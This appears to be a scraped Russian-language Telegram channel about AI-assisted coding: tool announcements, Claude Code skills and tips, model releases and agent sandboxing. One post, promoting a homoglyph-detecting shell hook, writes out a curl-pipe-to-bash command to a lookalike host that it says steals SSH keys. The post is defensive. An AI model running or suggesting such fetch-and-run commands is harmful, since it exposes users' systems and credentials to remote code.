Вайб-кодинг

Зацените божественный проект NanoClaw.

Идея родилась так: автор посмотрел на раздутый кодбейз OpenClaw и просто поплыл: 52+ модулей, 8 конфигов, 45+ зависимостей. Трудноперевариваемая каша

В итоге он махнул рукой и сделал NanoClaw: код ужали и теперь понятно что за что отвечает

Запускается в контейнере Apple, агент крутится внутри, наружу особо не вылезает и ничего лишнего не творит. Вот это тру минимализм.

Исходники тут

GitHub

GitHub - gavrielc/nanoclaw: My personal Claude assistant that runs in Apple containers. Lightweight, secure, and built to be understood…

My personal Claude assistant that runs in Apple containers. Lightweight, secure, and built to be understood and customized for your own needs. - gavrielc/nanoclaw

6.93K views13:22

Вайб-кодинг

Я протестировал много Claude Code скиллов, и последний из них: Planning with files.

Эта имба почти всегда (в 99% случаев) идеально закрывает все фичи, даже сложные.

Если ты ее не юзаешь, ты многое теряешь

Начать просто:

npx skills add https://github.com/othmanadi/planning-with-files --skill planning-with-files

Дальше, когда пишешь любой промпт, просто добавь фразу: “Plan with files”.

Claude сам подхватит скилл и создаст 3 файла: task_plan.md, findings.md, progress.md.

И в отличие от обычного plan mode, он будет возвращаться к этим файлам на протяжении всего планирования и выполнения, постоянно держа перед глазами что надо сделать и как.

Из-за этого “дрейф” почти пропадает, и план чётко выполняется по шагам.

Да, токенов съедает больше, но зато с первого раза и стабильно. Попробуй 👏

Исходный код

Please open Telegram to view this post

VIEW IN TELEGRAM

GitHub

GitHub - OthmanAdi/planning-with-files: Claude Code skill implementing Manus-style persistent markdown planning — the workflow…

Claude Code skill implementing Manus-style persistent markdown planning — the workflow pattern behind the $2B acquisition. - OthmanAdi/planning-with-files

6.91K views16:10

Вайб-кодинг

Совет по Cursor: перед тем как пушить PR, попроси агента разбить изменения на серию коммитов, чтобы ревью было проще.

Можно даже “стекать” skills вот так:

1. /code-review
2. /simplify (можно ли получить тот же результат меньшим кодом?)
3. /deslop (убрать лишние комментарии)
4. /commit-pr

6.67K views05:34

Вайб-кодинг

This media is not supported in your browser

VIEW IN TELEGRAM

Цитирование через промпт это надежда, что Claude процитирует точно. Фича citations это гарантирует.

Включается так: "citations": {"enabled": true} в ваших документах.

Каждая цитата будет структурно гарантированно ссылаться на реальный текст, который вы сами предоставили.

Citations работают везде:

▪️Ваши документы (PDF, текст) -> char_location, page_location
▪️Веб-поиск -> web_search_result_location (всегда включено)
▪️Ваши кастомные результаты RAG -> search_result_location

Один единый паттерн, чтобы любую заяву можно было быстро отследить до источника.

Доки

Please open Telegram to view this post

VIEW IN TELEGRAM

6.95K views06:56

Вайб-кодинг

1:12

This media is not supported in your browser

VIEW IN TELEGRAM

Запустили RentAHuman.ai : сервис, где цифровые агенты могут нанимать реальных людей для выполнения задач в реальной жизни.

За первую ночь зарегистрировались уже 130+ человек, среди них модель с OnlyFans и CEO AI-стартапа. 😆

Теперь, если вашему AI-агенту нужна помощь IRL, достаточно одного MCP-вызова, чтобы подключить настоящего человека.

Это объединяет автономных агентов и реальный мир

Please open Telegram to view this post

VIEW IN TELEGRAM

7.6K views08:11

Вайб-кодинг

Релиз Qwen3-Coder-Next — открытая модель для кода, заточенная под агентов и локальную разработку.

Что нового:

▪️800 000 проверяемых задач + исполняемые окружения
▪️сильные результаты на SWE-Bench Pro с 80B параметров всего и 3B активных
▪️Поддержка: OpenClaw, Qwen Code, Claude Code, веб-разработка, браузер, Cline и другие
▪️Hugging Face: [ссылка]
▪️ModelScope: [ссылка]
▪️Блог: [ссылка]
▪️Технический отчет: [ссылка]

Результаты на агентных бенчмарках: SWE-Bench Verified: Qwen3-Coder-Next >70% с фреймворком SWE-Agent

Несмотря на небольшой активный след, модель сравнима или превосходит несколько гораздо больших open-source моделей на разных агентных тестах.

Please open Telegram to view this post

VIEW IN TELEGRAM

Please open Telegram to view this post

VIEW IN TELEGRAM

6.64K views11:11

Вайб-кодинг

0:27

This media is not supported in your browser

VIEW IN TELEGRAM

Теперь к Claude можно подключаться прямо в Chrome через расширение VS Code.

Используй это для отладки фронтенд-приложений, сбора данных или автоматизации работы в браузере.

Установи расширение и введи @browser, чтобы начать.

Установите расширение Claude в Chrome здесь, а VS Code здесь

7.39K views11:11

Вайб-кодинг

Будь честен. Когда ты в последний раз читал команду, прежде чем вставить её в терминал?

Потому что эти две строки выглядят одинаково:

curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash

Одна устанавливает тулзу.
Другая — уводит твои SSH-ключи.

Вот эта і — кириллическая, не латинская. Браузер такое заблокирует. Терминал даже не моргнёт.

Новички копипастят команды из ChatGPT и случайных репозиториев, вообще не задумываясь. Мы буквально в одном curl | bash от того, чтобы потерять всё.

Поэтому и сделали фикс — tirith

Невидимый shell-хук. Он перехватывает омографические атаки, ANSI-инъекции, скрытые команды и перезапись дотфайлов до выполнения.

30 правил. Полностью локально. Никакой телеметрии

7.85K viewsedited 12:11

Вайб-кодинг

0:40

This media is not supported in your browser

VIEW IN TELEGRAM

Теперь можно использовать Claude и Codex в GitHub и VScode с подпиской GitHub Copilot Pro+ или Copilot Enterprise.

▪️Единое рабочее пространство с сессиями агентов для локальных, фоновых и облачных агентов
▪️Параллельные сабагенты
▪️Встроенный браузер

И многое другое…

Please open Telegram to view this post

VIEW IN TELEGRAM

6.9K views05:10

Вайб-кодинг

Советы для работы с Claude Code

(Добавьте их в ваш CLAUDE .md файл)

1. Прежде чем писать код, опиши свой подход и дождись подтверждения. Всегда задавай уточняющие вопросы, если требования неясны.

2. Если задача затрагивает больше 3 файлов, остановись и разбей её на более мелкие подзадачи.

3. После написания кода, перечисли, что может сломаться, и предложи тесты для проверки.

4. При баге сначала напиши тест, который его воспроизводит, затем исправляй код, пока тест не проходит.

5. Каждый раз, когда я исправляю тебя, добавляй новое правило в CLAUDE .md файл, чтобы это больше не повторялось.

На англ.:

1. "Before writing any code, describe your approach and wait for approval. Always ask clarifying questions before writing any code if requirements are ambiguous."

2. "If a task requires changes to more than 3 files, stop and break it into smaller tasks first."

3. "After writing code, list what could break and suggest tests to cover it."

4. "When there’s a bug, start by writing a test that reproduces it, then fix it until the test passes."

5. "Every time I correct you, add a new rule to the CLAUDE .md file so it never happens again."

В файле правила обычно формулируются детальнее, чем здесь, но суть этих пунктов именно такая.

6.64K views06:14

Вайб-кодинг

Опенсорс скилл: code-review-expert

Агент-скилл, который делает ревью кода как сеньор-инженер:
• нарушения принципов SOLID
• уязвимости безопасности (XSS, инъекции, race condition)
• проблемы с производительностью (N+1, отсутствие кэша)
• обработка ошибок и граничные случаи

Установка командой:

npx skills add sanyuan0704/code-review-expert

repo: https://github.com/sanyuan0704/code-review-expert

GitHub

GitHub - sanyuan0704/code-review-expert: Expert code review skill: SOLID, security, performance, error handling, boundary conditions

Expert code review skill: SOLID, security, performance, error handling, boundary conditions - sanyuan0704/code-review-expert

6.48K views08:10

Вайб-кодинг

0:39

This media is not supported in your browser

VIEW IN TELEGRAM

Ну всё, приехали.

AI-агенты будут автономно обучаться новым скиллам и становиться лучше сами по себе.

Вот этот, например, запускает 8 параллельных агентов, которые за 2 минуты скрейпят доки, GitHub, Stack Overflow и блоги.

Код на 100% open source.

6.11K views12:10

Вайб-кодинг

Сейчас AI-агенты всё лучше пишут код, но запускать их напрямую на локалке не всегда то и хочется

Особенно в режиме автозапуска, страшно, что AI случайно удалит важные файлы или вообще получит доступ к приватным данным.

Недавно на GitHub наткнулся на Vibe: опенсорс проект для macOS, который поднимает сверхбыструю Linux-виртуалку в песочнице.

Главные плюсы: нулевая конфигурация, изоляция за <10 секунд, можно спокойно закрыть AI в клетку.

AI видит только текущий проект, а все остальные чувствительные каталоги полностью изолированы.

Написан на Rust, использует родную виртуализацию Apple, безопаснее Docker и при этом почти не грузит ресурсы

GitHub

GitHub - lynaghk/vibe: Easy Linux virtual machine on MacOS to sandbox LLM agents.

Easy Linux virtual machine on MacOS to sandbox LLM agents. - lynaghk/vibe

6.06K views14:11

Вайб-кодинг

0:39

This media is not supported in your browser

VIEW IN TELEGRAM

В Claude Code добавили новую команду /insights.

Когда вы её запускаете, Claude Code анализирует вашу историю сообщений за последний месяц. Он суммирует ваши проекты, показывает, как вы используете Claude Code, и даёт советы по оптимизации рабочего процесса.

5.65K views15:10

Вайб-кодинг

0:36

This media is not supported in your browser

VIEW IN TELEGRAM

Кто-то создал курс по изучению Claude Code в Claude Code: попробуйте

5.57K views17:10

Вайб-кодинг

Сразу 2 мощнейших релиза: вышли Claude Opus 4.6 и GPT-5.3 Codex

Opus 4.6 от Anthropic:

– контекст 1 млн токенов (в бете)
– заметно лучше держит большие кодовые базы и длинный ризонинг
– стабильнее в агентных сценариях (кодинг, поиск, аналитика)
– адаптивное мышление, авто-компрессия контекста, 128k токенов output
– цена без изменений

https://www.anthropic.com/news/claude-opus-4-6

GPT-5.3 Codex от OpenAI:

– на TerminalBench обходит новый Opus 4.6 (77.3% против 65.4%), плюс 57% на SWE-Bench Pro и 64% на OSWorld
– управляемость прямо в процессе выполнения и живые апдейты по ходу задач
– для тех же задач тратит меньше чем в 2 раза токенов, чем 5.2-Codex, и при этом >25% быстрее на токен
– хорошо справляется с “computer use” (умеет нормально работать с задачами на компьютере)
– модель уже доступна в Codex

https://openai.com/index/introducing-gpt-5-3-codex/

16.4K views18:26

Вайб-кодинг

"Раньше мы писали весь код вручную"

5.46K views20:21

Вайб-кодинг

This media is not supported in your browser

VIEW IN TELEGRAM

Структурированные выводы

Что убрали структурированные выводы:

→ Ошибки JSON.parse()
→ Логику повторных попыток
→ «почти корректные» ответы
→ извлечение через regex
→ предварительное заполнение {
→ ваш слой валидации

Суть: задаёшь схему → получаешь строго этот формат каждый раз.

Как использовать:
→ Определи схему в Pydantic, Zod или обычном JSON Schema.
→ Передай схему через output_config.format.
→ Claude ограничивает генерацию токенов так, чтобы результат точно соответствовал схеме.

Опционально: можно удалить все костыли, которые раньше использовались для обхода проблем.

Доки

4.12K viewsedited 05:37

About

Blog

Apps

Platform